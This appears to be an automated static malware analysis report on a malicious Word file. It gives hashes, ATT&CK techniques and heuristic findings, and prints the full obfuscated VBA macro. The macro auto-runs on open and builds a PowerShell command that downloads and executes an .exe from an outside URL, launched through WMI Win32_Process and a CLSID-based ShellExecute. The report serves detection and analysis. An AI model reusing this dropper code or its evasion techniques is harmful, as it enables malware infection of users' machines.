Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b02408a4de837363…

MALICIOUS

Office (OOXML)

136.4 KB Created: 2020-02-10 09:16:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 86a4724e106e37e1bb8fc23acd86c8fd SHA-1: 73fdc3f1c46776740416b3561305c913bcb82cf6 SHA-256: b02408a4de837363024a803f6410e248736ee8fab1f25b273c25e842664594e2
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell T1218 Signed Binary Proxy Execution

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes GetObject and CreateObject to instantiate a WMI service and then uses the Win32_Process class to create a new process, likely to download and execute a secondary payload. The use of cmd.exe by the VBA script indicates a command shell execution.

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    gsvgzh = "."
    Set uhrgkbf = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    gsvgzh = "."
    Set uhrgkbf = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    qdxlimariqgrqzkiltwfc = "cmd /c" & _
    " " & _
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    k = 0
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & CFnHLQqsF, "", Null, k
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Call zzzv56x
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://halo.susheel.us/QUOTE/RED.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4951 bytes
SHA-256: 0c7604fb885449784f5751c57bdf0ef334bf2c7c7de5776ed8f8a3375caf08b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
57 of 100 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Call zzzv56x
End Sub


Private Sub zzzv56x()

If Sin(5.96289) + Cos(7.439867) = 23.78677 Then

Else
If "ZbRqsnMkiht" = "jg" Then

Else
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.

        r = 5.980217 * (w ^ 2) + 9.446377 * (x ^ 0.25) + 4.81379 * (y ^ 0.33) + 8.91197 * (Z ^ 0.5)
        ri = r - Int(r)
        w = x
        x = y
        y = Z
        Z = ri
 
 MyString = MyString
Next Words


End If

End If




Call UsAGzoR



End Sub



Attribute VB_Name = "WJDbnnFt"


#If VBA7 Then


#Else


#End If




Public Sub UsAGzoR()

On Error Resume Next



If 1.9929401538737E+15 > 6523226937# Then


Dim bvqszrzrdulrhlprifccgoatkokumlddid As Long


bvqszrzrdulrhlprifccgoatkokumlddid = (39984 - 5) / 15


If IsDate(vtnldeznsqxpvvidkjj) And ((34 + 91008577) / (8 + 813605262)) <> 1.9929401538737E+15 Then

End If



End If


If 813605262 > 809252575315# Then


Dim phkhffrqhjdoneorrzcomatquyqdztyun As Long


phkhffrqhjdoneorrzcomatquyqdztyun = (809252575315# - 91008577) / 39984


If IsDate(vtnldeznsqxpvvidkjj) And ((34 + 91008577) / (8 + 813605262)) <> 1.9929401538737E+15 Then

End If



End If









ypjsgnsyhukxlewqikrqcgrbstpstx = 4364
lgxwkrfslgvdlnqexmjbmamaml = "Ib5yW6RYSW9L2Ock"


Do While 578 < 8
   Select Case lgevzjanuszdjwabdznjoabiniulv
            Case "âȳÌÛ?Æ»ä?¦¢?µ", "ÛéÆÎ¤Æ³í¦�??¸À¨ ÔôÍÏ?¿¦á", "ÚÅ»ÁÌ¡Áµï"
               zxcbnmmf1 = "ÖÏ­ÉÜ?¼«ä¥¦?"
            Case "ÝȼÎÊ�ººìª?¡?´µ¸«", "Ü×§ÍԠùß?¦"
               zxcbnmmf2 = "ìŬÕâ�¶©Ùª???¼³¬¢ëÔ·"
            Case "ÛÖ", "àЮÊÙ?®¯å ?¡?¼¼¡¯æÏ±ÊÓ¤±ªÚ§¦??"
                zxcbnmmf3 = "ØÛ°ÑÙ?"
            Case Else
               zxcbnmmf4 = "oisxtirgbokqfpkfpbhvhinzbvcebudycuwh"
    End Select

Exit Do

Loop



a = Left("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)
b = Left("PfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)
'Right function
c = Left("OfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)

f = Right("HfYDBGMxFO ACbbeEpNM krRlyRhWUT", 1)

'Mid function
q = Mid("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1, 11)
'Split function
d = Split("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next


qdxlimariqgrqzkiltwfc = "cmd /c" & _
" " & _
"" & _
b & c & Chr(119) & a & Chr(114) & Chr(115) & Chr(104) & a & Chr(108) & Chr(108) & _
"(New-" & _
"Object " & _
"System" & _
".Net." & _
"Web" & _
"Client" & _
")." & _
"DownloadFile" & _
"(" & _
"'" & _
"http://halo.susheel.us/QUOTE/RED.exe" & _
"','%temp%\jilhwvnabdilgyyvungkwrjyhlof.exe');start %temp%\jilhwvnabdilgyyvungkwrjyhlof.exe"



Const abpmafsfxmsitnbwuqj = 12

gsvgzh = "."
Set uhrgkbf = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2")
Set dfbqmrlkyfuj = uhrgkbf.Get("Win32_ProcessStartup")

Set uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd = dfbqmrlkyfuj.SpawnInstance_
uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd.ShowWindow = abpmafsfxmsitnbwuqj
Set dhfhjhrywstb = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = dhfhjhrywstb.Create(qdxlimariqgrqzkiltwfc, Null, uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd, dtjwpkwwzshryaseburdrcwdtstence)






End Sub












Sub iobymzkghbrpfwunuyxcwdzrhhhpnqgjpyq(CFnHLQqsF As String)
Do Until "HBPTnQGfjVeuAQk" <> "UigthoC"
YjrKwEqZrQDLpaODiNRoJRN = "dcqFTSiSznuDZwiffEDjMZRuTdKU"
NRHWKgUNkGYilLBfLeme = "JENdUELwmqHOwmWnhOPOSvyeBbNPOIyX"
kEMtsqcIQyPRToZerdPXQTNGicsrvierjZL = 5.61511862524622E+36
KupYmGCwiNhnnkWeiAYRqGKPxlMiU = 6.01058808879894E+26
hudrUxnrkJRQXVuFDLLzI = 7.82813176401592E+26
AtrDkZbBtTcKgnJvPZqrQOAZjpVrhB = "UPytjAQNOQiQxoMoGwHv"
IRTltSUuEjUswHvhuZvyMcbhyClWAOvZ = 9.92402316095874E+17
lMyfHq = "wSKhOXAgRHMWMwZfqlnqgyupnumLv"
CmjNCtSuTaBFFtCZNJMgItUzByYUtTlpkUEZmztfN = "SMobsAnNhcyOoIRkLEVyAApMUkocnOPgTLbIKZFX"
glIrVfvHCnpJPvRXcHHMKaTMRvdh = "ZlyyRTOgU"
FtUkaaXEQJkiSxLVGRwZaCOycBqLxcDrHJCTqptmur = "XYrTAnvNxjvX"
eWHZ = "MGnGtaJvsfQYKeipqZlhpXCOFHLlyoU"
TCilZRfRKFvQwZZRoOowWruoDZAm = 103980494234479#
YxDLjEIwxQZuU = "kcmRghuwkzXKcHuhzQsCm"
HBPTnQGfjVeuAQk = UigthoC
Loop
k = "W"
k = 0
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & CFnHLQqsF, "", Null, k
k = VBA.Command(CFnHLQqsF, Right(Right(Mid("Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5PxGZr214JolfhnBUF76WJ2Vx", 509), 1), 1))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 7fcafeffcbae7b6c4d0f7f04571f9d62b77e308499770864fdf2d485aa446bde
Detection
ClamAV: No threats found
Obfuscation or payload: likely
147 of 257 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.